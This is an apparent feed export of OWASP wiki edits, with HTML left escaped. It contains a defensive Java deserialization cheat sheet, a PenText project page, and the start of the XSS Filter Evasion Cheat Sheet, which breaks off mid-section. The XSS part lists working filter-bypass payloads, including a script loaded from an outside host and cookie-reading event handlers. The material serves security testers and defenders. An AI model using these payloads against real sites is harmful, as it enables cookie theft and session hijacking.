As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
* [https://www.contrastsecurity.com Contrast Enterprise by Contrast Security (commercial product)]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native deserialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=235535</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=235535"/>
				<updated>2017-11-17T09:41:12Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Clean up superfluous characters&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br/&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [http://www.contrastsecurity.com/security-influencers/java-serialization-vulnerability-threatens-millions-of-applications Contrast Security] - a utility method that allows whitelisting of classes to deserialize, as well as other thresholds.&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
* [https://www.contrastsecurity.com Contrast Enterprise by Contrast Security (commercial product)]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and boostrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native deserialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=234411</id>
		<title>OWASP PenText Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_PenText_Project&amp;diff=234411"/>
				<updated>2017-10-15T23:17:58Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Correct grammar, update names and timeline&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Main=&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:OWASP_Project_Header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot;  style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
&lt;br /&gt;
==Introduction==&lt;br /&gt;
The OWASP PenText XML documentation project is a collection of XML templates, XML schemas and XSLT code, which combined provide an easy way to generate IT security documents including test reports (for penetration tests, load tests, code audits, etc), offers (to companies requesting these tests) and invoices.&lt;br /&gt;
&lt;br /&gt;
==Description==&lt;br /&gt;
The OWASP PenText XML documentation project can help your software security company produce offers, reports, invoices and generic documents by offering a well-structured and easy to maintain documenting system you can modify to your liking. The XML content is multilingual (current languages: English and Dutch) and can be easily adapted - by editing the constants provided in each document - or expanded - by creating new files. Both reports and offers are comprised of smaller snippets, i.e. template texts containing, respectively, offerte text or common vulnerabilities, which can be included where relevant. The XSLT can be customized by anyone versed in XSLT. To get started it is neccessary to install a few Open Source tools. Please visit our [https://github.com/radicallyopensecurity/pentext/blob/master/xml/doc/Tools%20manual.md documentation page] on how to set up the environment.&lt;br /&gt;
&lt;br /&gt;
==Technical information==&lt;br /&gt;
The OWASP PenText project is based on XML. A PenText Report, Offer, Invoice or Generic Document is in fact a (modular) XML document, conforming to an XML Schema. The XML Schema ensures that the documents are structured correctly, so that they can then be transformed into other formats using XSLT and the [http://saxon.sourceforge.net/#F9.7HE SAXON XSLT processor]. &lt;br /&gt;
Currently there is only one target format: PDF. To produce the PDF document, the report, offer, invoice or generic document XML is first transformed into XSL-FO (XSL Formatting Objects), which is then converted to PDF using [https://xmlgraphics.apache.org/fop/ Apache FOP].&lt;br /&gt;
&lt;br /&gt;
==Licensing==&lt;br /&gt;
All files distributed with this project are free software: all documents are released under the GNU General Public License v3 (http://www.gnu.org/licenses/gpl.html) which allows you to modify and redistribute the files freely.&lt;br /&gt;
&lt;br /&gt;
== Project Resources ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/pentext sources]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/pentext/tree/master/xml/doc]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/radicallyopensecurity/pentext/issues Issue Tracker]&lt;br /&gt;
&lt;br /&gt;
== Project Leader ==&lt;br /&gt;
This project is managed by Radically Open Security members Patricia Piolon and Peter Mosmans. They can be reached at [mailto:info@pentext.org info@pentext.org].&lt;br /&gt;
&lt;br /&gt;
==Classifications==&lt;br /&gt;
&lt;br /&gt;
   {| width=&amp;quot;400&amp;quot; cellpadding=&amp;quot;2&amp;quot;&lt;br /&gt;
   |-&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Project_Type_Files_TOOL.jpg|link=https://www.owasp.org/index.php/Category:OWASP_Tool]]&lt;br /&gt;
   | rowspan=&amp;quot;2&amp;quot;  | [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects|Incubator Project]]&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-builders-small.png|link=Builders]]  &lt;br /&gt;
   |-&lt;br /&gt;
   | align=&amp;quot;center&amp;quot; valign=&amp;quot;top&amp;quot; | [[File:Owasp-defenders-small.png|link=Defenders]]&lt;br /&gt;
   |}&lt;br /&gt;
&lt;br /&gt;
== News and Events ==&lt;br /&gt;
* [17 July 2016] Updated the wiki with basic info.&lt;br /&gt;
* [21 July 2016] Expanded the wiki&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=FAQs=&lt;br /&gt;
&lt;br /&gt;
==How can I participate in your project?==&lt;br /&gt;
All you have to do is make the Project Leader's aware of your available time to contribute to the project. It is also important to let the Leader's know how you would like to contribute and pitch in to help the project meet it's goals and milestones. There are many different ways you can contribute to an OWASP Project, but communication with the leads is key. &lt;br /&gt;
&lt;br /&gt;
==If I am not a programmer can I participate in your project?==&lt;br /&gt;
Yes, you can certainly participate in the project if you are not a programmer or technical. The project needs different skills and expertise and different times during its development. Currently, we are looking for writers and translators. See the Road Map and Getting Involved tab for more details.&lt;br /&gt;
&lt;br /&gt;
= Acknowledgements =&lt;br /&gt;
==Contributors==&lt;br /&gt;
&lt;br /&gt;
The Pentext XML Documentation Project is developed by a worldwide team working at [https://www.radicallyopensecurity.com Radically Open Security]. A live update of project [https://github.com/radicallyopensecurity/pentext/graphs/contributors contributors can be found here]. &lt;br /&gt;
&lt;br /&gt;
The first contributors to the project were:&lt;br /&gt;
&lt;br /&gt;
* XSLT coding and documentation by Patricia Piolon&lt;br /&gt;
* ChatOps scripts by Peter Mosmans and John&lt;br /&gt;
* XML content by Peter Mosmans, Christine, Deborah, Marcus Bointon and others.&lt;br /&gt;
&lt;br /&gt;
= Road Map and Getting Involved =&lt;br /&gt;
&lt;br /&gt;
==Roadmap==&lt;br /&gt;
As of '''October 2017, the highest priorities for the next 6 months are''':&lt;br /&gt;
&lt;br /&gt;
* Create additional content for Forensics, code audits and such&lt;br /&gt;
* Get other people to review the PenText XML documentation project and provide feedback&lt;br /&gt;
* Get others to provide translations for the snippet library &lt;br /&gt;
&lt;br /&gt;
Subsequent Releases would preferably contain&lt;br /&gt;
&lt;br /&gt;
* Templates in a wider variety of languages&lt;br /&gt;
&lt;br /&gt;
==Getting Involved==&lt;br /&gt;
Involvement in the development and promotion of the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; is actively encouraged!&lt;br /&gt;
You do not have to be a security expert or a programmer to contribute.&lt;br /&gt;
Some of the ways you can help are as follows:&lt;br /&gt;
&lt;br /&gt;
===Coding===&lt;br /&gt;
Suggestions on the the XSLT side are welcome!&lt;br /&gt;
===Localization===&lt;br /&gt;
Are you fluent in another language? Can you help translate the snippets and strings in the &amp;lt;strong&amp;gt;PenText XML documentation project&amp;lt;/strong&amp;gt; into that language?&lt;br /&gt;
===Testing===&lt;br /&gt;
Do you have a flair for finding bugs in software? We want to product a high quality product, so any help with Quality Assurance would be greatly appreciated. Let us know if you can offer your help.&lt;br /&gt;
===Feedback===&lt;br /&gt;
Please [mailto:info@pentext.org mail us] for feedback:&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What do you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What don't you like?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;What features would you like to see prioritized on the roadmap?&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
__NOTOC__ &amp;lt;headertabs /&amp;gt; &lt;br /&gt;
&lt;br /&gt;
[[Category:OWASP Project]]  [[Category:OWASP_Builders]] [[Category:OWASP_Defenders]]  [[Category:OWASP_Tool]]&lt;/div&gt;</summary>
		<author><name>Peter Mosmans</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=234410</id>
		<title>XSS Filter Evasion Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=XSS_Filter_Evasion_Cheat_Sheet&amp;diff=234410"/>
				<updated>2017-10-15T22:57:59Z</updated>
		
		<summary type="html">&lt;p&gt;Peter Mosmans: Correct misspellings&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&amp;lt;br/&amp;gt;&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
= Introduction  =&lt;br /&gt;
 __TOC__{{TOC hidden}}This article is focused on providing application security testing professionals with a guide to assist in Cross Site Scripting testing. The initial contents of this article were donated to OWASP by RSnake, from his seminal XSS Cheat Sheet, which was at: http://ha.ckers.org/xss.html. That site now redirects to its new home here, where we plan to maintain and enhance it. The very first OWASP Prevention Cheat Sheet, the [[XSS (Cross Site Scripting) Prevention Cheat Sheet]], was inspired by RSnake's XSS Cheat Sheet, so we can thank him for our inspiration. We wanted to create short, simple guidelines that developers could follow to prevent XSS, rather than simply telling developers to build apps that could protect against all the fancy tricks specified in rather complex attack cheat sheet, and so the [[Cheat_Sheets | OWASP Cheat Sheet Series]] was born.&lt;br /&gt;
&lt;br /&gt;
= Tests =&lt;br /&gt;
&lt;br /&gt;
This cheat sheet is for people who already understand the basics of XSS attacks but want a deep understanding of the nuances regarding filter evasion. &lt;br /&gt;
&lt;br /&gt;
Please note that most of these cross site scripting vectors have been tested in the browsers listed at the bottom of the scripts.&lt;br /&gt;
&lt;br /&gt;
== XSS Locator ==&lt;br /&gt;
Inject this string, and in most cases where a script is vulnerable with no special XSS vector requirements the word &amp;quot;XSS&amp;quot; will pop up. Use this [http://ha.ckers.org/xsscalc.html URL encoding calculator] to encode the entire string. Tip: if you're in a rush and need to quickly check a page, often times injecting the depreciated &amp;quot;&amp;lt;PLAINTEXT&amp;gt;&amp;quot; tag will be enough to check to see if something is vulnerable to XSS by messing up the output appreciably:&lt;br /&gt;
&lt;br /&gt;
 ';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//&amp;amp;quot;;&lt;br /&gt;
 alert(String.fromCharCode(88,83,83))//&amp;amp;quot;;alert(String.fromCharCode(88,83,83))//--&lt;br /&gt;
 &amp;amp;gt;&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;amp;quot;&amp;amp;gt;'&amp;amp;gt;&amp;amp;lt;SCRIPT&amp;amp;gt;alert(String.fromCharCode(88,83,83))&amp;amp;lt;/SCRIPT&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS Locator (short) ==&lt;br /&gt;
If you don't have much space and know there is no vulnerable JavaScript on the page, this string is a nice compact XSS injection check. View source after injecting it and look for &amp;lt;XSS versus &amp;amp;amp;lt;XSS to see if it is vulnerable:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;#39;&amp;amp;#39;;!--&amp;quot;&amp;amp;lt;XSS&amp;amp;gt;=&amp;amp;amp;{()}&lt;br /&gt;
&lt;br /&gt;
== No Filter Evasion ==&lt;br /&gt;
This is a normal XSS JavaScript injection, and most likely to get caught but I suggest trying it first (the quotes are not required in any modern browser so they are omitted here):&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;SCRIPT SRC=http:&amp;amp;#47;&amp;amp;#47;xss.rocks&amp;amp;#47;xss.js&amp;amp;gt;&amp;amp;lt;/SCRIPT&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Filter bypass based polyglot ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;pre&amp;gt;'&amp;quot;&amp;gt;&amp;gt;&amp;lt;marquee&amp;gt;&amp;lt;img src=x onerror=confirm(1)&amp;gt;&amp;lt;/marquee&amp;gt;&amp;quot;&amp;gt;&amp;lt;/plaintext\&amp;gt;&amp;lt;/|\&amp;gt;&amp;lt;plaintext/onmouseover=prompt(1)&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;prompt(1)&amp;lt;/script&amp;gt;@gmail.com&amp;lt;isindex formaction=javascript:alert(/XSS/) type=submit&amp;gt;'--&amp;gt;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;img/id=&amp;quot;confirm&amp;amp;lpar;1&amp;amp;#x29;&amp;quot;/alt=&amp;quot;/&amp;quot;src=&amp;quot;/&amp;quot;onerror=eval(id&amp;amp;#x29;&amp;gt;'&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;img src=&amp;quot;http://www.shellypalmer.com/wp-content/images/2015/07/hacked-compressor.jpg&amp;quot;&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Image XSS using the JavaScript directive ==&lt;br /&gt;
Image XSS using the JavaScript directive (IE7.0 doesn't support the JavaScript directive in context of an image, but it does in other contexts, but the following show the principles that would work in other tags as well:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=&amp;quot;javascript:alert('XSS');&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== No quotes and no semicolon ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert('XSS')&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Case insensitive XSS attack vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTML entities == &lt;br /&gt;
The semicolons are required for this to work:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(&amp;amp;amp;quot;XSS&amp;amp;amp;quot;)&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Grave accent obfuscation ==&lt;br /&gt;
If you need to use both double and single quotes you can use a grave accent to encapsulate the JavaScript string - this is also useful because lots of cross site scripting filters don't know about grave accents:&lt;br /&gt;
 &amp;amp;lt;IMG SRC=`javascript:alert(&amp;quot;RSnake says, 'XSS'&amp;quot;)`&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Malformed A tags ==&lt;br /&gt;
Skip the HREF attribute and get to the meat of the XXS...&lt;br /&gt;
Submitted by David Cross ~ Verified on Chrome&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;a onmouseover=&amp;quot;alert(document.cookie)&amp;quot;&amp;gt;xxs link&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
or&lt;br /&gt;
Chrome loves to replace missing quotes for you... if you ever get stuck just leave them off and Chrome will put them in the right place and fix your missing quotes on a URL or script.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;nowiki&amp;gt;&amp;lt;a onmouseover=alert(document.cookie)&amp;gt;xxs link&amp;lt;/a&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Malformed IMG tags ==&lt;br /&gt;
Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:&lt;br /&gt;
&lt;br /&gt;
 &amp;amp;lt;IMG &amp;quot;&amp;quot;&amp;quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== fromCharCode ==&lt;br /&gt;
If no quotes of any kind are allowed you can eval() a fromCharCode in JavaScript to create any XSS vector you need:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Default SRC tag to get past filters that check SRC domain ==&lt;br /&gt;
